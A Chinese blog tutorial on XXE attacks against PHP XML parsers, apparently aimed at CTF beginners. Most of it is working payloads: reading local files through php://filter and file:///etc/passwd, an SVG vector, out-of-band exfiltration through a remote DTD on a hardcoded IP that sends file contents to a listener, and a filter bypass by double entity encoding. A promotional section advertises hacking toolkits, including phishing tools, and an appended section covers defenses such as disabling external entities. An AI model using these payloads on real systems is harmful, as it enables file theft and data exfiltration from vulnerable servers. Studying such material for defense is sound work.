渗透攻击零基础学习-XXE(非常详细)零基础入门到精通,收藏这一篇就够了!!!

本文详细解释了XXE(外部实体扩展)漏洞在PHP中的应用,包括如何利用DTD实体、内网探测以及payload编写技巧。同时,文章还提及了网络安全学习路径、视频教程、技术文档等内容。

XXE

XXE ( PHP 5.45之后不解析实体 )

<!DOCTYPE 根标签名 SYSTEM "文件名">  


DTD实体是用于定义引用文本或字符的快捷方式的变量,可内部声明或外部引用。

约束通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合:

<!ELEMENT 标签名 ANY>  


同时xxe可进行内网探测读取 /etc/hosts

Payload

PHP文件读取

<?xml version="1.0" encoding="utf-8"?>   
<!DOCTYPE xxe [  
<!ELEMENT name ANY>  
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">]>  
<creds>  
<user>&xxe;</user>  
</creds>

file协议读取文件

<?xml version="1.0"?>  
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>  
<catalog>  
    	<core id="test101">  
     		<description>&xxe;</description>  
  		</core>  
</catalog>

SVG格式

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE note [  
<!ENTITY file SYSTEM "要读取的文件路径" >  
]>  
<svg height="100" width="1000">  
  		<text x="10" y="20">&file;</text>  
</svg>

数据外带

<!DOCTYPE root [   
<!ENTITY % remote SYSTEM "http://174.1.66.167/shell.dtd">  
%remote;  
]>  
  
shell.dtd  
<!ENTITY % file SYSTEM "file:///flag">  
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1:5555/?flag=%file;'>">  
%int;  
%send;

xxe绕过的payload

当只过滤了SYSTEM,PUBLIC等关键字时,可用双重实体编码绕过

<?xml version="1.0"?>  
  
<!DOCTYPE GVI [  
  
    <!ENTITY % xml "&#60;&#33;&#69;&#78;&#84;&#73;&#84;&#89;&#32;&#120;&#120;&#101;&#32;&#83;&#89;&#83;&#84;&#69;&#77;&#32;&#34;&#102;&#105;&#108;&#101;&#58;&#47;&#47;&#47;&#102;&#108;&#97;&#103;&#46;&#116;&#120;&#116;&#34;&#32;&#62;&#93;&#62;&#10;&#60;&#99;&#111;&#114;&#101;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#109;&#101;&#115;&#115;&#97;&#103;&#101;&#62;&#38;&#120;&#120;&#101;&#59;&#60;&#47;&#109;&#101;&#115;&#115;&#97;&#103;&#101;&#62;&#10;&#60;&#47;&#99;&#111;&#114;&#101;&#62;">  
  
    %xml;

即为在xml实体中再定义一次xml,可成功被解析,支持dtd数据外带

<!ENTITY xxe SYSTEM "file:///flag.txt" >]>  
<core>  
      <message>&xxe;</message>  
</core>

以上为编码部分内容

题外话

**
黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

在这里插入图片描述

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

在这里插入图片描述

(都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

在这里插入图片描述

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

在这里插入图片描述

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
————————————————

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.youkuaiyun.com/logic1001/article/details/136587606

### XXE注入攻击的原理 XXE(XML External Entity Injection)攻击是利用XML解析器处理外部实体的功能来访问或泄露本地文件系统中的敏感信息,或者发起拒绝服务攻击的一种漏洞。XML允许通过外部实体引用外部资源,这使得攻击者可以构造恶意的XML文档[^1]。 在Web应用程序中,如果XML解析器被配置为支持外部实体,并且应用程序没有对用户输入进行适当的验证和过滤,那么攻击者可以通过提交包含恶意外部实体的XML数据来触发XXE漏洞。这种攻击可能导致敏感信息泄露、服务器端请求伪造(SSRF)、拒绝服务(DoS)以及其他类型的攻击[^2]。 以下是一个简单的XXE攻击示例: ```xml <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo> ``` 在此示例中,攻击者通过定义一个外部实体`xxe`,指向系统文件`/etc/passwd`,并将其嵌入到XML文档中。如果XML解析器支持外部实体并且未正确配置,则可能会将文件内容泄露给攻击者[^3]。 ### XXE注入的防御方法 为了防止XXE攻击,可以采取以下措施: 1. **禁用外部实体**:确保XML解析器禁用了外部实体功能。例如,在Java中使用DOM解析器时,可以通过设置特定属性来禁用外部实体加载[^4]。 ```java DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); ``` 2. **输入验证**:对所有用户输入进行严格的验证和清理,确保其符合预期格式。避免直接将用户输入嵌入到XML文档中[^5]。 3. **使用安全的解析库**:选择默认禁用外部实体的XML解析库,或者确保使用的库版本已修复与XXE相关的漏洞[^6]。 4. **限制文件访问权限**:即使无法完全禁用外部实体,也可以通过限制XML解析器能访问的文件路径来降低风险[^7]。 5. **监控和日志记录**:实施监控和日志记录机制,检测和响应潜在的XXE攻击尝试[^8]。 ### 示例代码 以下是一个Python中防止XXE攻击的示例代码: ```python import defusedxml.ElementTree as ET xml_data = '<note><to>Tove</to><from>Jani</from><heading>Reminder</heading><body>Don\'t forget me this weekend!</body></note>' safe_tree = ET.fromstring(xml_data) print(ET.tostring(safe_tree, encoding='unicode')) ``` 在此示例中,使用了`defusedxml`库,该库专门设计用于防止各种XML相关攻击,包括XXE[^9]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值